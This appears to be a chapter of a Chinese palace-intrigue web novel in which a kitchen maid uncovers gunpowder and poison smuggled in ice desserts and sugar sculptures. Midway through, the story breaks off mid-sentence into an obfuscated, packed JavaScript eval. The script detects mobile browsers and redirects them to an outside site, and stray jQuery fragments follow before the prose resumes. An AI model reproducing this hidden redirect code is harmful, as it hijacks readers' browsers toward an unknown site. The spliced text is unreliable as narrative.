15. 酥山诡宴

作品:《厨婢升阶记

    长宜斋废墟的焦烟还未散尽,久榆蹲在残破的地窖口。春桃捧着的提盒里,最后三块冰砖泛着诡异的青芒。"玄冰遇火不化,倒是便宜了咱们。"久榆用银匙刮下冰砖表层,碎冰在琉璃碗里折射出七彩光晕,"老孙头说的没错,北境玄冰里果然冻着东西。"


    冰屑融化的瞬间,碗底浮现出半张海图。赵州用糖浆描摹纹路,糖丝在羊皮纸上凝成航线:"这是南洋冰鉴局运送雪菊的密道,难怪淑妃兄长能垄断雪蚕散货源。"


    灶台下突然传来异响。久榆掀开石板,焦黑的暗格里竟存着坛陈年梅卤——正是"雪夜访梅"冰酪的秘方原浆。坛底沉着枚玉扣,浸入梅卤后显出小字:"梅卤七分,雪菊三钱,可解百蛊。"


    "明日立夏宴的冰品单子,"太子不知何时立在残垣边,"我要添一道''梅雪争春''。"


    立夏宴当夜,御膳房的冰鉴堆成小山。久榆将梅卤调入雪菊冰沙时,瞥见春桃在雕蜜瓜的刀柄上抹糖霜——那是他们约定示警的暗号。果然,李安捧着鎏金食盒而来:"殿下赐久姑娘糖画一副。"


    竹签上的糖画是朵重瓣牡丹,花蕊里却嵌着粒雪蚕散。久榆假意失手打翻冰碗,梅卤泼在糖画上腾起紫雾。雾中显影出淑妃兄长的字迹:"戌时三刻,醉仙居冰窖。"


    "好一招糖画传书。"赵州用银针挑破糖衣,露出冻在里面的铜钥匙,"胡掌柜在冰窖藏了批雪菊,说是要制''寒香引''。"


    久榆捻起融化的糖丝,在冰案上勾勒出醉仙居地窖结构图。当糖丝连到西北角时突然发黑——那里埋着玄冰砌的暗柜,正是私铸铜钱的模具所在。


    醉仙居后厨,胡掌柜正在演示新式冰茶。茶筅击打的冰沫里混着金箔,盏底沉着朵糖雕腊梅。"这叫''寒酥映月'',用的是江心岛浮冰。"他目光闪烁,"久姑娘可要试试?"


    久榆端起茶盏,腕间银镯突然发烫——糖梅里裹着雪蚕散。她假意失手,冰茶泼在胡掌柜袖口,布料遇冷收缩露出内衬的铜钱纹。"好一个''寒酥'',胡掌柜这冰碴子倒是比官银还硬。"她突然掀翻茶案,碎冰里滚出刻着"沈"字的铜模。


    门外突然传来鼓乐声。老孙头挑着糖画担子闯进来,竹蜻蜓不偏不倚扎进暗柜锁眼:"小老儿新研制的糖画钥匙,久姑娘可还趁手?"


    暗柜开启的瞬间,甜腻香气扑面而来。三百个蜜煎雕成的玲珑塔泛着琥珀光,塔心却冻着密信蜡丸。赵州掰开蜜塔,糖丝拉出时带出卷账本:"淑妃兄长用蜂蜜裹着火药运进城,难怪搜不出。"


    久榆将蜜塔浸入梅卤,糖衣融化后露出里面的西洋火器图。春桃突然指着塔尖:"这些雕蜜瓜的刀痕...是安远号的货舱编号!"


    窗外打更声骤急。久榆将蜜塔码成漕船形状,塔底的糖渍遇潮显影——今夜子时,三艘运蜜船将在码头交接火器。而船头标记,正是醉仙居糖画上的重瓣牡丹。


    "该备些''雪夜访梅''了。"久榆往冰桶里撒入双倍雪菊,"梅卤解蛊,冰沙凝神,正好请官兵兄弟们尝尝。"


    子时码头,久榆的冰酪车混在运蜜队伍里。当官兵掀开冰鉴查验时,她舀起冰沙笑道:"新制的''山河永固'',大人可要试试?"珊瑚碎在月光下泛红,雪菊混着梅卤的香气盖过了火药味。


    突然有支火箭射中蜜船。久榆将整桶冰沙泼向火焰,玄冰遇火炸开冰雾,藏在蜜桶里的火药顿时失效。赵州趁机放出糖画蜻蜓,翅尖金粉在夜空拼出"擒"字。


    "好一招冰火相克!"太子从暗处走出,手中握着支糖葫芦。山楂里冻着密信:"明日卯时,御膳房冰库见。"


    久榆咬破糖衣,冰糖在舌尖化开时渗出铁锈味——是血写的"速离"。她望向冰库里堆积如山的"山河永固"原料,突然明白了太子的暗示。


    卯时的御膳房冰库里,久榆用银匙轻叩"山河永固"的冰砖。珊瑚碎在晨曦下泛着诡异的红光,她突然嗅到硝石气息——冰层深处竟嵌着火药引线。赵州掀开冰桶,底部冻着朵糖雕牡丹,花心处粘着片龙鳞甲。


    "太子这是要炸了御膳房?"春桃舀起半融的冰沙,雪菊渣滓里浮出靛蓝粉末,"不对,这是南诏的蝶蛊粉,遇热会引燃..."


    话音未落,冰库梁柱突然坠下冰锥。久榆将整桶梅卤泼向冰面,酸液腐蚀出暗格,三百枚蜜饯雕成的鲤鱼在冰雾中显现。每条鱼嘴含着铜钱,鳃部刻着工部官员的名字。


    "好一招糖鲤吞银。"赵州掰开鱼腹,蜜饯里裹着火药,"这些甜味能盖过硝石气息,难怪查不出来。"


    窗外传来梆子声,老孙头的糖画担子卡在门缝。久榆取下竹蜻蜓,翅尖沾着的糖丝突然绷直,指向冰库西北角的玄冰柱——柱面霜花里冻着半张《冰魄志》。


    立夏宴上,八十一盏冰酪垒成玲珑塔。久榆捧着"梅雪争春"献礼时,瞥见太子用银簪戳破酥山外层。融化的酥油在玉碟上蜿蜒,竟拼出"申时焚"三个血字。


    "这道酥山用的可是昆仑玄冰?"皇后忽然开口,指尖金护甲划过冰面,"本宫尝着倒有几分雪菊的苦香。"


    久榆后背渗出冷汗。酥山内层冻着西洋火器图,雪菊粉本该中和冰块的甜腻,此刻却成了催命符。她假意失手打翻酥山,冰碴在波斯地毯上凝出火器构造图,五皇子突然大笑:"好个''梅雪争春'',倒像西洋人的火炮!"


    宴席大乱时,久榆被拽进后厨暗巷。老孙头往她掌心塞了支糖葫芦,山楂核里藏着微型地图:"醉仙居地窖第三层冰墙,用梅卤浇透可现真章。"


    地窖里,三百坛雪菊酒排列成阵。久榆按图索骥掀开第七坛,酒液里泡着的糖燕突然振翅,衔着铜钥匙飞向冰墙。梅卤泼洒处,冰面浮现安远号货舱图——每个货箱标记都是御膳房菜名。


    "糖醋鱼对应火炮,蜜汁火腿竟是火药..."赵州用酒液在墙面书写,"难怪查抄时只说搜出食材。"


    冰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518834|170497||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    墙突然开裂,露出暗舱里的西洋厨师。他正往蜜饯里填装火药,案上摆着本《大食饮膳正要》,书页间粘着的糖丝拼出航线图。


    子时,久榆潜入太液池采冰。冰凿触到硬物,捞上来竟是朵琉璃莲,花心冻着雪蚕母蛊。春桃用梅卤擦拭花瓣,琉璃渐透,显出皇后手书:"七月初七乞巧宴,冰酪需用并蒂莲。"


    "这是要借乞巧宴散蛊!"赵州捏碎莲蓬,掉出三百粒糖丸,"每粒都裹着子蛊,遇体温即化。"


    久榆将琉璃莲浸入池水,莲瓣忽然舒展,露出内壁刻字:"以毒攻毒,莲心兑梅卤。"她连夜调制新冰酪,在"银河落九天"里掺入双倍莲芯,浅青冰沙遇蛊毒泛出朱色,正好显影出中毒者的齿痕。


    五更天,久榆在御膳房发现蜜饯匣子。雕成十二生肖的蜜饯肚里塞着状纸,每张都按着血手印。她将蜜饯浸入梅卤,糖衣融化后现出惊天秘闻——工部以修冰窖为名,在江心岛暗造军火库。


    "明日乞巧宴的冰船模型,"太子突然现身,往冰鉴里扔了把珊瑚碎,"要能浮在酒池上两个时辰不化。"


    久榆捻起珊瑚碎,在烛光下看见细密孔洞。她用银簪挑出洞中粉末,竟是遇水即胀的火药。冰船不化之谜终于解开——珊瑚碎遇酒膨胀,撑住冰船外壳,内里火药却能照常引爆。


    "这道银河落九天,该换个做法了。"她将莲芯磨粉混入冰沙,"既要显得出毒,又要炸不得..."


    久榆指尖捻着莲芯粉,忽见冰船龙骨处有星芒闪烁。她舀起半勺冰沙泼向船尾,珊瑚碎遇冷炸开细纹——每条裂纹竟与《大食饮膳正要》里的火药图分毫不差。


    "春桃,取三年前封存的荔枝蜜来。"她突然掀开冰船甲板,露出冻在玄冰里的蜜饯楼阁。雕成鹊桥的糖丝泛着靛蓝,每根丝线都串着七粒雪蚕子蛊。


    赵州用银匙敲击蜜饯瓦片,清脆声响中混着机括转动声:"这不是冰船,是蜃楼炮的微缩模型。"他掰下糖制炮管,管壁内侧的糖渍遇热显影——正是皇后寝殿的暗道图。


    久榆将荔枝蜜淋在鹊桥上,琥珀色的蜜液突然分裂成血丝状。三百只糖喜鹊从冰雾中振翅飞出,喙里衔着的竟是冰鉴局特制火信。她扯断一根鹊尾金丝,丝线在烛火中爆出硫磺味:"难怪要用荔枝蜜,这是南诏蛊师炼火油的法子!"


    子时的更鼓催得急。久榆将冰船浸入梅卤,船身突然浮起层冰膜。她蘸取雪菊汁在冰膜书写,字迹遇风凝结成霜纹:"蜜饯楼阁第三层,桂花馅里裹着龙鳞甲碎片。"


    春桃用绣花针挑开桂花馅,甜腻香气里混着铁锈味。冻在糖芯里的半片龙鳞甲,边缘刻着西洋数字——与太子玉佩裂痕处的纹路完全契合。


    "该换船帆了。"久榆突然扯下冰船的糖绸帆布。老孙头在窗外摇响糖画拨浪鼓,鼓面粘着的糖丝随风飘入,在甲板上织成新的火药线路图。图中标注的引爆点,赫然是御膳房那道"银河落九天"的冰台。